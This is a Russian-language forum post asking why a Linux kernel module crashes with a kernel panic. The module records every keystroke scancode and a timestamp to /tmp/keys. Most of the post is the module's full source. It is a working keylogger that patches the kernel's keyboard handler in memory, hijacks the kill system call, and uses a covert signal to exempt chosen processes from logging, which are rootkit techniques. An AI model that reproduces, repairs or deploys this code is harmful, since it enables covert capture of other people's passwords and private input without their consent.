Где ошибка в этом модуле, который пишет сканкоды и время в файл.
Работает некоторое время, пишет все, все ок, а потом падает...или может сразу упасть...
Пишет
"kernel BUG at sched.h:564!
invalid operand 0000
....
kernel panic:Aiee, killing interrupt handler!
"
В файле sched.h:564
"define task_has_cpu(tsk) ((tsk)->cpus_runnable != ~0UL)"
Код
#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/smp_lock.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/utsname.h>
#include <linux/string.h>
#include <linux/sched.h>
#include <asm/string.h>
#include <asm/unistd.h>
#include <asm/errno.h>
#include <asm/io.h>
#include <linux/proc_fs.h>
#include <linux/file.h>// fput()
#include <asm/uaccess.h>// get_fs(), set_fs(), KERNEL_DS
#include <linux/mm.h>// GFP_KERNEL
#define FLAG_FILE "/tmp/f_keys"
#define KEYS_FILE "/tmp/keys"
#define DPRINT(format, args...)
#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }
MODULE_LICENSE("GPL");
/*
change this to the correct address, which can be found in System.map
*/
void (*handle_scancode)(unsigned char,int) = (void(*)(unsigned char,int))0xc01cb030;
#define CODESIZE 7
#define NOLOG_SIGNAL 31
#define NOLOG_PF 0x10000000
static char original_acct_code[7];
static char acct_code[7] =
"\xb8\x00\x00\x00\x00"/*movl $0,%eax*/
"\xff\xe0"/*jmp *%eax*/
;
int (*original_kill)(pid_t, int);
extern void *sys_call_table[];
//int errno;
void *_memcpy(void *dest, const void *src, int size)
{
const char *p = src;
char *q = dest;
int i;
for (i = 0; i < size; i++) *q++ = *p++;
return dest;
}
void got_char(unsigned char scancode)
{
printk(KERN_ALERT "%x\n",scancode);
}
#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
#define WRITABLE(f) (f->f_op && f->f_op->write)
int write_to_file(unsigned char scancode)
{
int ret = 0;
struct file *f = NULL;
lock_kernel();
BEGIN_KMEM;
f = filp_open(KEYS_FILE, O_CREAT|O_APPEND, 00600);
if (IS_ERR(f)) {
DPRINT("Error %ld opening %s\n", -PTR_ERR(f), KEYS_FILE);
ret = -1;
} else {
if (WRITABLE(f))
{
struct my_data {
struct timeval my_time;
unsigned char my_scancode;
};
struct my_data new_data;
do_gettimeofday(&new_data.my_time);
new_data.my_scancode=scancode;
_write(f,&new_data,sizeof(new_data));
}
else {
DPRINT("%s does not have a write method\n",KEYS_FILE);
ret = -1;
}
if ((ret = filp_close(f,NULL)))
DPRINT("Error %d closing %s\n", -ret, KEYS_FILE);
}
END_KMEM;
unlock_kernel();
return ret;
}
int _handle_scancode(unsigned char scancode,int keydown)
{
if (!(current->flags & NOLOG_PF)) {
write_to_file(scancode);
////////////////
_memcpy(handle_scancode, original_acct_code, CODESIZE);
handle_scancode(scancode,keydown);
_memcpy(handle_scancode, acct_code, CODESIZE);
return 1;
}
return 0;
}
struct task_struct *find_task(pid_t pid)
{
struct task_struct *task = current;
do {
if(task->pid == pid)
return(task);
task = task->next_task;
} while(task != current);
return(NULL);
}
int _kill(pid_t pid, int sig)
{
if (sig == NOLOG_SIGNAL) {
struct task_struct *task;
task = find_task(pid);
if (task == NULL) return - ESRCH;
task->flags |= NOLOG_PF;
return 0;
}
return original_kill(pid, sig);
}
int init_module(void)
{
original_kill = sys_call_table[__NR_kill];
sys_call_table[__NR_kill] = _kill;
*(long *)&acct_code[1] = (long)_handle_scancode;
_memcpy(original_acct_code, handle_scancode, CODESIZE);
_memcpy(handle_scancode, acct_code, CODESIZE);
return 0;
}
void cleanup_module(void)
{
sys_call_table[__NR_kill] = original_kill;
_memcpy(handle_scancode, original_acct_code, CODESIZE);
}